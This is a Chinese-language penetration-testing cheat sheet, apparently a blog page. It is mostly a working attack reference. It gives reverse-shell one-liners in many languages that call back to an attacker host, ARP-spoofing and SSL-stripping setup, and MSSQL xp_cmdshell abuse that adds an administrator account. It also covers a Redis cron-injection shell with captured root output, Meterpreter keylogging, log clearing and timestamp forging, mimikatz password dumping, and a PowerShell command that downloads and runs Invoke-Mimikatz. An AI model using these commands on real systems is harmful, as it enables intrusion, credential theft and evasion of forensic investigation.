        iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
        yum install twisted
        sslstrip -l 10000
        可能会报错:import error:no module name web XXX之类的错误,说是twisted模块的web模块不能被引入,这个只需要去下载最新的twisted的python包安装(或者直接放到/usr/lib/python2.6/site-packages/目录下)
        嗅探1.101的数据:
        nohup ettercap -T -q -M arp:remote /192.168.1.37/ // > etter &
        -I  显示可用网卡接口设备
        -i  选择接口
        -t  协议选择,tcp/udp/all,默认为all
        -p  不进行毒化攻击,用于嗅探本地数据包
        -F  载入过滤器文件
        -V  text 将数据包以文本形式显示在屏幕上
        -L  filename 把所有的数据包保存下来(保存后的文件只能用etterlog显示)
        -a,–arpsniff  基于ARP的sniffing

        jobs -l 查看后台进程
        fg %n 让后台运行的进程n到前台来
        bg %n 让进程到后台去
        查看下嗅探的结果,果然嗅探出来数据了,但是中间有很多不必要的一些信息,我需要删除掉
        sed -i -e 'DHCP:/d' ettercap
        通过iptables 把所有http数据导入到10000端口,我们用sslstrip监听10000端口,并得到我们想要的数据
        参数讲解: 
        -t:命令要操作匹配的表(net这个表表示被查询时遇到了新差生的连接包)
        Net表有三个内建的链构成 PREROUTING(修改到来的包)、OUTPUT(修改路由之前本地的包)、POSTROUTING(修改准备出去的包)
        -A表示在选择的链后加入更多选项
        –p指被过滤包的协议
        –destination-port 80指被过滤包的目的端口是80 -j REDIRECT –to-port 10000 将80端口的数据跳转到指定端口传输
        然后我们使用sslstrip监听10000端口
        -------------------------------------------------------------------------
        linux磁盘隐射:
        mount -t cifs -o USERNAME=root,passwd=123  //192.168.0.2/users  /root/temp
        ​​
      • 反弹
        Bash
        bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
        PERL
        perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
        Python
        python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
        PHP
        php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
        Ruby
        ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
        Netcat
        nc -e /bin/sh 10.0.0.1 1234
        If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
        rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
        Java
        r = Runtime.getRuntime()
        p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
        p.waitFor()
        [Untested submission from anonymous reader]
        xterm
        One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.
        xterm -display 10.0.0.1:1
        To catch the incoming xterm, start an X-Server (:1 每 which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):
        Xnest :1
        You*ll need to authorise the target to connect to you (command also run on your host):
        xhost +targetip
      • mssql
        SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
        幸运的是:只要该扩展存储过程没被删除,我们就可以一句话启用它(不支持多句执行的话,请单独执行每句):
        EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
        好了,来试试!
        exec master..xp_cmdshell "whoami"
        1、判断xp_cmdshell是否存在 
        and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell') 
        select count(*) from master.dbo.sysobjects where xtype='x' and 
        返回结果为1就ok 
        2、恢复xp_cmdshell的方法 
        删除扩展存储过过程xp_cmdshell的语句 
        exec sp_dropextendedproc 'xp_cmdshell' 
        恢复cmdshell的sql语句 
        exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 
        exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and 
        返回结果为1就ok 
        否则需上传c:\inetput\web\xplog70.dll后 
        exec master.dbo.sp_addextendedproc 'xp_cmdshell',’c:\inetput\web\xplog70.dll’;-- 
        如果是用以下方法删除 
        drop procedure sp_addextendedproc 
        drop procedure sp_oacreate 
        exec sp_dropextendedproc 'xp_cmdshell' 
        则可以用以下语句恢复 
        dbcc addextendedproc ("sp_oacreate","odsole70.dll") 
        dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 
        这样可以直接恢复,不用去管sp_addextendedproc是不是存在 
        常见情况恢复执行xp_cmdshell 
        1 未能找到存储过程'master..xpcmdshell'. 
        恢复方法:查询分离器连接后, 
        第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 
        第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 
        然后按F5键命令执行完毕 
        2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。) 
        恢复方法:查询分离器连接后, 
        第一步执行:sp_dropextendedproc "xp_cmdshell" 
        第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 
        然后按F5键命令执行完毕 
        3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。) 
        恢复方法:查询分离器连接后, 
        第一步执行:exec sp_dropextendedproc 'xp_cmdshell' 
        第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' 
        然后按F5键命令执行完毕 
        四.终极方法. 
        如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户: 
        查询分离器连接后, 
        2000servser系统: 
        declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add' 
        declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add' 
        xp或2003server系统: 
        declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add' 
        declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators dell /add' 
      • msf:MS17-010移植到MSF中进行入侵_自学编程_youkewang.top-优快云博客
        metasploit终端命令大全
        渗透工具之msf - 综合编程类其他综合 - 红黑联盟
        Active Directory中获取域管理员权限的攻击方法 - 渗透测试中心 - 博客园 获取域控
        ​​​
        background  # 让meterpreter处于后台模式  
        sessions -i number   # 与会话进行交互,number表示第n个session  
        quit  # 退出会话  
        shell # 获得命令行
        cat c:\\boot.ini   # 查看文件内容  
        getwd # 查看当前工作目录 work directory  
        upload /root/Desktop/netcat.exe c:\\ # 上传文件到目标机上  
        download 0xfa.txt /root/Desktop/   # 下载文件到本机上  
        edit c:\\boot.ini  # 编辑文件  
        search -d d:\\www -f web.config # search 文件 
        ps # 查看当前活跃进程  
        migrate  pid # 将Meterpreter会话移植到进程数位pid的进程中  
        execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互  
        getpid # 获取当前进程的pid  
        kill pid # 杀死进程  
        getuid # 查看权限  
        sysinfo # 查看目标机系统信息,如机器名,操作系统等  
        getsystem #提权操作
        timestompc:/a.doc -c "10/27/2015 14:22:11" #修改文件的创建时间
        ----------------------获取明文密码 --------------------------​​​
        meterpreter > getuid
        Server username: NT AUTHORITY\SYSTEM    
         
        meterpreter > load mimikatz
        Loading extension mimikatz...success.
        meterpreter > msv
        [+] Running as SYSTEM
        [*] Retrieving msv credentials    
         
        meterpreter > kerberos
        [+] Running as SYSTEM
        [*] Retrieving kerberos credentials
        kerberos credentials
        ====================    
         
        meterpreter > mimikatz_command -f samdump::hashes
        Ordinateur : Testing
        BootKey    : 8c2c8d96e92a8ccfc407a1ca48531239    
         
        meterpreter > mimikatz_command -f sekurlsa::searchPasswords
        [0] { Croxy ; Testing ; hehe }
        [1] { test ; Testing ; test }
        ​​----------------------------------------------------------------------------------
        ​​​​
        下面介绍下它的使用参数
        show exploits
        列出metasploit框架中的所有渗透攻击模块。
        show payloads
        列出metasploit框架中的所有攻击载荷。
        show auxiliary
        列出metasploit框架中的所有辅助攻击载荷。
        search name
        查找metasploit框架中所有的渗透攻击和其他模块。
        show exploits
        列出metasploit框架中的所有渗透攻击模块。
        show payloads
        列出metasploit框架中的所有攻击载荷。
        show auxiliary
        列出metasploit框架中的所有辅助攻击载荷。
        search name
        查找metasploit框架中所有的渗透攻击和其他模块。
        info
        展示出指定渗透攻击或模块的相关信息。
        use name
        装载一个渗透攻击或模块。
        LHOST
        你本地可以让目标主机连接的IP地址,通常当目标主机不在同一个局域网内时,就需要是一个公共IP地址,特别为反弹式shell使用。
        RHOST
        远程主机或是目标主机。
        set function
        设置特定的配置参数(EG:设置本地或远程主机参数)。
        setg function
        以全局方式设置特定的配置参数(EG:设置本地或远程主机参数)。
        show options
        列出某个渗透攻击或模块中所有的配置参数。
        show targets
        列出渗透攻击所有支持的目标平台。
        set target num
        指定你所知道的目标的操作系统以及补丁版本类型。
        set payload name
        指定想要使用的攻击载荷。
        show advanced
        列出所有高级配置选项。
        set autorunscript migrate -f.
        在渗透攻击完成后,将自动迁移到另一个进程。
        check
        检测目标是否选定渗透攻击存在相应的安全漏洞。
        exploit
        执行渗透攻击或模块来攻击目标。
        exploit -j
        在计划任务下进行渗透攻击(攻击将在后台进行)。
        exploit -z
        渗透攻击完成后不与回话进行交互。
        exploit -e encoder
        制定使用的攻击载荷编码方式(EG:exploit -e shikata_ga_nai)。
        exploit -h
        列出exploit命令的帮助信息。
        sessions -l
        列出可用的交互会话(在处理多个shell时使用)。
        sessions -l -v
        列出所有可用的交互会话以及详细信息,EG:攻击系统时使用了哪个安全漏洞。
        sessions -s script
        在所有活跃的metasploit会话中运行一个特定的metasploit脚本。
        sessions -K
        杀死所有活跃的交互会话。
        sessions -c cmd
        在所有活跃的metasploit会话上执行一个命令。
        sessions -u sessionID
        升级一个普通的win32 shell到metasploit shell。
        db_create name
        创建一个数据库驱动攻击所要使用的数据库(EG:db_create autopwn)。
        db_connect name
        创建并连接一个数据库驱动攻击所要使用的数据库(EG:db_connect user:passwd@ip/sqlname)。
        db_namp
        利用nmap并把扫描数据存储到数据库中(支持普通的nmap语句,EG:-sT -v -P0)。
        db_autopwn -h
        展示出db_autopwn命令的帮助信息。
        db_autopwn -p -r -e
        对所有发现的开放端口执行db_autopwn,攻击所有系统,并使用一个反弹式shell。
        db_destroy
        删除当前数据库。
        db_destroy user:passwd@host:port/database
        使用高级选项来删除数据库。
        ***metasploit命令***
        help
        打开meterpreter使用帮助。
        run scriptname
        运行meterpreter脚本,在scripts/meterpreter目录下可查看到所有脚本名。
        sysinfo
        列出受控主机的系统信息。
        ls
        列出目标主机的文件和文件夹信息。
        use priv
        加载特权提升扩展模块,来扩展metasploit库。
        ps
        显示所有运行的进程以及相关联的用户账户。
        migrate PID
        迁移到一个指定的进程ID(PID号可通过ps命令从主机上获得)。
        use incognito
        加载incognito功能(用来盗窃目标主机的令牌或假冒用户)
        list_tokens -u
        列出目标主机用户的可用令牌。
        list_tokens -g
        列出目标主机用户组的可用令牌。
        impersonate_token DOMAIN_NAME\\USERNAME
        假冒目标主机上的可用令牌。
        steal_token PID
        盗窃给定进程的可用令牌并进行令牌假冒。
        drop_token
        停止假冒当前令牌。
        getsystem
        通过各种攻击向量来提升系统用户权限。
        execute -f cmd.exe -i
        执行cmd.exe命令并进行交互。
        execute -f cmd.exe -i -t
        以所有可用令牌来执行cmd命令并隐藏该进程。
        rev2self
        回到控制目标主机的初始用户账户下。
        reg command
        在目标主机注册表中进行交互,创建,删除,查询等操作。
        setdesktop number
        切换到另一个用户界面(该功能基于那些用户已登录)。
        screenshot
        对目标主机的屏幕进行截图。
        upload file
        向目标主机上传文件。
        download file
        从目标主机下载文件。
        keyscan_start
        针对远程目标主机开启键盘记录功能。
        keyscan_dump
        存储目标主机上捕获的键盘记录。
        keyscan_stop
        停止针对目标主机的键盘记录。
        getprivs
        尽可能多的获取目标主机上的特权。
        uictl enable keyboard/mouse
        接管目标主机的键盘和鼠标。
        background
        将你当前的metasploit shell转为后台执行。
        hashdump
        导出目标主机中的口令哈希值。
        use sniffer
        加载嗅探模式。
        sniffer_interfaces
        列出目标主机所有开放的网络端口。
        sniffer_dump interfaceID pcapname
        在目标主机上启动嗅探。
        sniffer_start interfaceID packet-buffer
        在目标主机上针对特定范围的数据包缓冲区启动嗅探。
        sniffer_stats interfaceID
        获取正在实施嗅探网络接口的统计数据。
        sniffer_stop interfaceID
        停止嗅探。
        add_user username password -h ip
        在远程目标主机上添加一个用户。
        clearev
        清楚目标主机上的日志记录。
        timestomp
        修改文件属性,例如修改文件的创建时间(反取证调查)。
        reboot
        重启目标主机。
        ***MSFpayload命令***
        msfpayload -h
        msfpayload的帮助信息。
        msfpayload windows/meterpreter/bind_tcp O
        列出所有windows/meterpreter/bind_tcp下可用的攻击载荷的配置项(任何攻击载荷都是可用配置的)。
        msfpayload windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT X > payload.exe
        创建一个metasploit的reverse_tcp攻击载荷,回连到LHOSTip的LPORT,将其保存为名为payload.exe的windows下可执行程序。
        msfpayload windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT R > payload.raw
        创建一个metasploit的reverse_tcp攻击载荷,回连到LHOSTip的LPORT,将其保存为名为payload.raw,该文件后面的msffencode中使用。
        msfpayload windows/meterpreter/reverse_tcp LPORT=PORT C > payload.c
        创建一个metasploit的reverse_tcp攻击载荷,导出C格式的shellcode。
        msfpayload windows/meterpreter/reverse_tcp LPORT=PORT J > payload.java
        创建一个metasploit的reverse_tcp攻击载荷,导出成以%u编码方式的javaScript语言字符串。
        ***msfencode命令***
        mefencode -h
        列出msfencode的帮助命令。
        msfencode -l
        列出所有可用的编码器。
        msfencode -t (c,elf,exe,java,is_le,js_be,perl,raw,ruby,vba,vbs,loop_vbs,asp,war,macho)
        显示编码缓冲区的格式。
        msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe
        使用shikata_ga_nai编码器对payload.raw文件进行5编码,然后导出一个名为encoded_payload.exe的文件。
        msfpayload windows/meterpreter/bind_tcp LPORT=PORT R | msfencode -e x86/_countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded_payload.exe
        创建一个经过多种编码格式嵌套编码的攻击载荷。
        msfencode -i payload.raw BufferRegister=ESI -e x86/alpja_mixed -t c
        创建一个纯字母数字的shellcode,由ESI寄存器只想shellcode,以C语言格式输出。
        ***MSFcli命令***
        msfcli | grep exploit
        仅列出渗透攻击模块。
        msfcli | grep exploit/windows
        仅列出与windows相关的渗透攻击模块。
        msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=PORT RHOST=IP E
        对IP发起ms08_067_netapi渗透攻击,配置了bind_tcp攻击载荷,并绑定在PORT端口进行监听。
        模块介绍:
        smb扫描
        smb枚举
        auxiliary/scanner/smb/smb_enumusers
        返回DCERPC信息
        auxiliary/scanner/smb/pipe_dcerpc_auditor
        扫描SMB2协议
        auxiliary/scanner/smb/smb2
        扫描smb共享文件
        auxiliary/scanner/smb/smb_enumshares
        枚举系统上的用户
        auxiliary/scanner/smb/smb_enumusers
        SMB登录
        auxiliary/scanner/smb/smb_login
        SMB登录
        use windows/smb/psexec(通过md5值登录)
        扫描组的用户
        auxiliary/scanner/smb/smb_lookupsid
        扫描系统版本
        auxiliary/scanner/smb/smb_version
        mssql扫描(端口tcp1433udp1434)
        admin/mssql/mssql_enum     MSSQL枚举
        admin/mssql/mssql_exec     MSSQL执行命令
        admin/mssql/mssql_sql      MSSQL查询
        scanner/mssql/mssql_login  MSSQL登陆工具
        scanner/mssql/mssql_ping   测试MSSQL的存在和信息
        另外还有一个mssql_payload的模块 利用使用的
        smtp扫描
        smtp枚举
        auxiliary/scanner/smtp/smtp_enum
        扫描smtp版本
        auxiliary/scanner/smtp/smtp_version
        snmp扫描
        通过snmp扫描设备
        auxiliary/scanner/snmp/community
        ssh扫描
        ssh登录
        auxiliary/scanner/ssh/ssh_login
        ssh公共密钥认证登录
        auxiliary/scanner/ssh/ssh_login_pubkey
        扫描ssh版本测试
        auxiliary/scanner/ssh/ssh_version
        telnet扫描
        telnet登录
        auxiliary/scanner/telnet/telnet_login
        扫描telnet版本
        auxiliary/scanner/telnet/telnet_version
        tftp扫描
        扫描tftp的文件
        auxiliary/scanner/tftp/tftpbrute
        ftp版本扫描
        scanner/ftp/anonymous
        ARP扫描
        auxiliary/scanner/discovery/arp_sweep
        扫描UDP服务的主机
        auxiliary/scanner/discovery/udp_probe
        检测常用的UDP服务
        auxiliary/scanner/discovery/udp_sweep
        sniffer密码
        auxiliary/sniffer/psnuffle
        snmp扫描
        scanner/snmp/community
        vnc扫描无认证扫描
        scanner/vnc/vnc_none_auth
      • 未授权访问
        【脉搏沉淀系列】未授权访问漏洞总结 - SecPulse.COM | 安全脉搏
        ​ 
        ​​(echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.138.101/4444 0>&1 \n\n") > foo.txt
        $ cat foo.txt | redis-cli -h 192.168.138.107 -x set crackit
        $ redis-cli -h 192.168.138.107
        $ 192.168.138.107:6379> config set dir /var/spool/cron/ 
        OK
        $ 192.168.138.107:6379> config get dir
        1) "dir"
        2) "/var/spool/cron/"
        $ 192.168.138.107:6379> config set dbfilename root
        OK
        $ 192.168.138.107:6379> save
        OK
        root@kali-boss:~# nc -l -p 4444 -vv
        listening on [any] 4444 ...
        connect to [192.168.138.101] from bogon [192.168.138.107] 46934
        bash: no job control in this shell
        [root@redhat ~]# whoami
        root
      • mimikatz
        获取密码
        ​privilege::debug
        sekurlsa::logonpasswords
        Windows2012 抓域hash
        http://www.91ri.org/12871.html​​​
      • mysql
        /usr/local/mysql/bin/mysqld_safe --skip-grant-tables
      • 常用端口
        21,22,23,80,443,1433,3306,5432,6379,9200,27017,161,389,873,1099,1521,1900,2181,10068,2375,50070,5000,20880, 9090,9000,8983,8080,8089,8000,7001,6082,5984,4848,3690,3311,3000,6379,3389,139,445,4786
      • powershell
        一次完整的从webshell到域控的探索之路 - SecPulse.COM | 安全脉搏
        Active Directory中获取域管理员权限的攻击方法 - 渗透测试中心 - 博客园 获取域控

        利用Powershell快速导出域控所有用户Hash_If you can take it, you can make it.-优快云博客_powershell获取所有域用户
        ​​
        允许执行脚本:
        set-ExecutionPolicy RemoteSigned
        获取当前域管理员在线登录的机器:
        Import-Module .\powerview.ps1 安装模块​​
        Invoke-UserHunter​
        ​​​​
        安装模块​
        Import-Module ActiveDirectory
        ​再观察一下单个用户的最后登录时间是怎么体现出来的,我们用到以下命令:
        Get-ADUser -Identity Test13 -Properties * | Select Name,SamAccountName,last*
        ​​​
        ​首先来讲讲 powershell 的在内网渗透测试中不仅能扫,能爆,能转发,当然还能做更多的事情,
        一般使用到的模块有下面三个:
        1 Empire 据说是神器,也确实是神器,我没使用过,暂时不多说
        2 PowerUp 据说提权神器,也确实是神器,我很少使用。也暂时不多说
        3 PowerView 据说是域渗透神器,也确实是神器,我一直用,非常漂亮
        来说说 powershell 的使用,其实也很简单,只是大家在用的过程中一般没有太多的注意,
        主要有三种方式来调用:
         
        1 当然是下载到本地执行,详细使用方法如后面连接:powershell "IEX (New-ObjectNet.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"
        2 第二种方式是把 powershell 文件上传到堡垒机本地执行, powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; Invoke-UserHunter}"
        3 上传到对方本地,然后 Import-Module 导入,使用PowerView 的所有模块使用其实很简单,直接调用方法,大家看看下面的图就知道了。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值